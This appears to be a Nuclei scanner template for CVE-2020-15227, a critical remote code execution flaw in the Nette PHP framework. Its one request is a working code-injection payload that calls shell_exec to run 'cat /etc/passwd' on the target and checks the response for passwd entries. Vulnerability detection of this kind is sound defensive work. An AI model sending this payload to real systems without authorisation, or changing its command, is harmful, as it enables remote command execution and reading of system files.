id: CVE-2020-15227

info:
  name: Nette Framework - Remote Code Execution
  author: becivells
  severity: critical
  description: Nette Framework versions before 2.0.19, 2.1.13, 2.2.10, 2.3.14, 2.4.16, and 3.0.6 are vulnerable to a code injection attack via specially formed parameters being passed to a URL. Nette is a PHP/Composer MVC Framework.
  reference:
    - https://github.com/nette/application/security/advisories/GHSA-8gv3-3j7f-wg94
    - https://www.pwnwiki.org/index.php?title=CVE-2020-15227_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E#
    - https://github.com/Mr-xn/Penetration_Testing_POC/blob/02546075f378a9effeb6426fc17beb66b6d5c8ee/books/Nette%E6%A1%86%E6%9E%B6%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C(CVE-2020-15227).md
    - https://nvd.nist.gov/vuln/detail/CVE-2020-15227
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-15227
    cwe-id: CWE-74
  tags: cve,cve2020,nette,rce

requests:
  - method: GET
    path:
      - "{{BaseURL}}/nette.micro/?callback=shell_exec&cmd=cat%20/etc/passwd&what=-1"

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/04/27